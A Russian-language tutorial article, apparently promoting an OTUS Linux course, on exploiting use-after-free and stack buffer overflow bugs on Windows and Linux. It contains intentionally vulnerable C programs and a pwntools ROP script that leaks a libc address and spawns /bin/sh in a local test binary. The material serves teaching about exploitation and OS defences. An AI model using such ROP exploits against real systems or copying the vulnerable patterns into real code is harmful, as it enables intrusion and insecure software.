Каждый, кто начинает изучать уязвимости программного обеспечения и их эксплуатацию, рано или поздно начинает задаваться вопросами: откуда берутся методики написания эксплойтов? Почему современное ПО содержит уязвимости? Насколько операционные системы с точки зрения проведения атак на ПО отличаются друг от друга? В данной статье будет рассмотрен подход к исследованию уязвимого ПО на различных операционных системах: какие есть особенности, какую систему лучше выбрать в качестве тестовой и какие выводы можно сделать.

Disclamer: Статья не содержит полный перечень методов и техник атак. В статью включены только те, которые могут быть интересны начинающему исследователю.

Почему существуют уязвимости и атаки

Атака - это процесс, приводящий к нарушению установленного порядка работы системы. В контексте программного обеспечения подобное воздействие может быть равносильно созданию состояния неопределенности: в этом случае состояние структур, используемых для работы ПО, может стать нестабильным. Проводимые атаки могут стать причиной серьезных последствий: от аварийного завершения работы до потери пользовательских данных, поэтому изучение корней проблемы является актуальным на сегодняшний день. Для того, чтобы разобраться, по каким причинам в приложении обнаруживаются уязвимости, обратимся к фундаментальному “родителю” любого софта - языку программирования. Объектом нашего  изучения будет язык программирования С: многие части популярных ОС и по сей день пишутся с его помощью или же с его эволюционно появившейся версии С++. 

Язык программирования С - это по сути набор команд, который позволяет ОС взаимодействовать с устройствами и тем самым раскрывать их функционал в полной мере. Для того, чтобы язык программирования мог использоваться на большом количестве систем, нужно, чтобы все его команды и результаты их выполнения всегда имели предсказуемые значения. Единственный способ достижения этого - создать стандарт, где описывается каждая конструкция и команда языка программирования. Всего за время существования языка программирования С было создано 6 версий стандарта (С89, С90, С95, С99, С11, С18). 

В стандартах можно найти понятие undefined behavior, используемое в разделах, посвященных портированию ПО на различные архитектуры. Термин undefined behavior обозначает любую ошибку или непонятную ситуацию, результаты которой не могут быть предсказаны наперед. В контексте ПО, написанного на С, в большинстве случаев это проблемы с памятью, работой с системами ввода/вывода, синхронизацией доступа к ресурсам информационной системы. Неопределенное поведение может случится по причине следующих ошибок при написании софта:

  • Race Condition

  • Integer Overflow

  • Buffer Overflow

  • ….

Вот здесь можно найти полный перечень популярных проблем. Именно из-за них есть возможность проводить атаки на ПО, поскольку каждую можно так или иначе рассматривать как уязвимость, подлежащую последующей эксплуатации в собственных целях.

Противодействие атакам

Проблемы безопасной разработки программного обеспечения известны  и описаны уже давно, потому при изучении языка программирования для написания приложений используют наборы правил “хорошего” кода. Быстрый поиск в сети может предоставить большое количество таких рекомендаций.

Однако сегодня при всей комплексности кодящихся проектов и даже при использовании всех правил безопасности случаются ошибки, приводящие к образованию “ахиллесовых пят” софта. Для спасения приложений и операционной системы в этом случае существуют технологии защиты, которые интегрируются на уровне ОС.

Количество и сложность механизмов защиты от атак на ПО в разных ОС варьируется. Например, разработчики операционной системе Linux считают, что для операционной системы важнее функциональность, а не наличие защит. В противовес можно привести операционную систему Windows, которая пачками разрабатывает технологии защиты на уровне ОС. Насколько механизмы эффективны? Это вопрос отдельной статьи. В защиту операционной системы Linux можно сказать, что производились попытки её сделать более безопасной с точки зрения разработки ПО, но что-то пошло не так и теперь патчи безопасности продаются как отдельный проект.

Портирование атаки

Представим себе сценарий - мы хотим изучить подход к эксплуатации уязвимостей Stack Buffer Overflow и UAF. С чего можно начать изучение? План изучения:

  1. Найти описание особенности уязвимости;

  2. Найти или создать уязвимое приложение;

  3. Попытаться создать эксплойт, если не получилось эксплуатировать уязвимость - выяснить, какие механизмы защиты применены в ОС и попытаться их обойти (ведь именно они могут защищать приложение от эксплуатации его погрешностей).

В качестве тестовых будем использовать Windows 7 x86 и Kali Linux.

Особенности уязвимости: UAF

Описание уязвимости можно найти на ресурсе. Если вкратце, то данный тип уязвимостей связан с использованием объекта после его освобождения. Следовательно, атака должна создать на месте освобождаемого объекта тот, который позволит выполнить произвольный код. Графическое представление уязвимости ниже.

В качестве упражнения попробуйте найти пример уязвимого приложения для ОС Windows (любой версии), которое будет содержать UAF. Также подобных приложений много для ОС Linux. Попробуем адаптировать одно из таких приложений: чтобы оно было скомпилировано и для Windows, и для Linux, а также уязвимость воспроизводилась на обоих системах.

Уязвимое приложение: UAF

В качестве подопытного будем использовать следующее приложение:

#include <malloc.h>
#include <stdio.h>

typedef struct UAFME {
    void (*vulnfunc)();
} UAFME;

void first(){
    printf(“It is First\n");
}

void second(){
printf(“It is second\n");
}

int main(int argc, const char * argv[]){
    UAFME *malloc1 = malloc(sizeof(UAFME)); //Allocate struct
    malloc1->vulnfunc = first;
    printf("[i] first at %p\n", first);
    printf("[i] second at %p\n", second);
    printf("[i] Calling malloc1's vulnfunc: \n");
    malloc1->vulnfunc();
    free(malloc1);//error here
    
   long *malloc2 = malloc(0);
   *malloc2 = (long)second;
    
   malloc1->vulnfunc();//trigger UAF
    
}

Скомпилируем код под Windows и Linux:

Запуск на Linux:

Запуск на Windows:

Поведение ОС: UAF 

Уязвимость UAF в операционной системе очень сложно отследить и для каждого отдельного случая нужно писать специальные методы противодействия. Сам класс уязвимостей работает на основе доступа к данным, поэтому обычно имплементация защиты - это контроль целостности важных для процесса структур. В нашем случае приложение не обращается к этим структурам, поэтому никакие механизмы защиты Windows и Linux не завершат аварийно выполнение приложения: процесс продолжит работу, что является проблемой безопасности и может быть эксплуатирована. Исходный пример самодостаточен и показывает, что подобные уязвимости чаще всего получается эксплуатировать за счет функционала приложения. Что же касается различий в имплементации для операционных систем - как показано выше, ОС уже не важна, если ошибка в неосторожных действиях самого приложения с памятью.

Особенности уязвимости: Stack Buffer Overflow

Уязвимость, которая имеет наибольшую популярность на сегодняшний день. Механизм работы Stack Buffer Overflow заключается в том, что данные, помещенные на стек, перетираются другими данными, заполняемыми в объекте, в котором не верно проверяется их размер. Картинка взята отсюда.

Уязвимое приложение: Stack Buffer Overflow

В качестве тестового будем использовать следующее приложение:

#include <stdio.h>

#include <unistd.h>

void vuln(){
    char buf[50];
    read(0, buf, 256);
}

void main(){
    write(1,”Hello Overflow\n",10);
    vuln();
}

Скомпилируем приложение для Linux и для Windows:

В полученные файлы для защиты от атак добавляются специальные данные о механизмах защиты, которые помогают операционной системе противодействовать атакам. В ОС Linux посмотреть эти данные можно через специальную утилиту checksec.

Полный список технологий защит, которые были получены через вывод инструмента checksec, можно найти тут.

Для операционной системы Windows такой список просто утилитой получить не удастся, вместо этого необходимо запустить приложение в ОС и просмотреть установленные механизмы защиты для работающего процесса. Сделать это можно например утилитой EMET. Полученный вывод для нашего приложения:

Даже не разбираясь, какой механизм от какой атаки защищает, список достаточно внушительный. 

Эксплойт для уязвимого приложения: Stack Buffer Overflow

Самый простой тип уязвимости с точки зрения написания эксплойта. Проанализировав все механизмы защиты, которые задействованы в Linux, становится ясно, что единственный механизм   - “NX Bit”. По всем описаниям в сети обойти данный механизма можно с помощью ROP. Для написания эксплойта будем использовать автоматизацию - pwntools для Python. Тогда скрипт для атаки на операционной системе Linux может иметь такой вид:

from pwn import *
from struct import *

binsh = "/bin/sh"

stdin = 0
stdout = 1

read_plt = 0x8048300
read_got = 0x804a00c
write_plt = 0x8048320
write_got = 0x804a014

#32bit OS - /lib/i386-linux-gnu/libc-2.23.so
read_system_offset = 0x9ad60
#64bit OS - /lib32/libc-2.23.so
#read_system_offset = 0x99a10
writableArea = 0x0804a020
pppr = 0x80484e9

payload = "A"*62

#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))

#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)

#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))

#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)

r = process('./test2')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()

Эксплойт под Windows c применением ROP не дал результатов. Вывод его работы можно увидеть ниже.

Необходимо проводить дальнейший ресерч обходов защит системы. Против эксплойта сработали следующие механизмы защиты: SimExecFlow, DEP, SEHOP.

Вывод

Как можно заметить, подходы к обеспечению безопасной работы приложений у операционных систем Linux и Windows разные: в случае Linux получилось эксплуатировать заложенную в приложении уязвимость, в то время как Windows вовремя остановила работу приложения. Исследователям безопасности систем необходимо иметь это в виду, именно поэтому начинающему специалисту стоит взять систему Linux как начальную для тестирования уязвимых приложений, а к системе Windows обратиться для улучшения методов обхода защит операционных систем.


Данная статья была написана в преддверии старта курса Administrator Linux. Basic от OTUS. Узнать подробнее о курсе и посмотреть запись бесплатного демо-урока можно по этой ссылке.


ЗАБРАТЬ СКИДКУ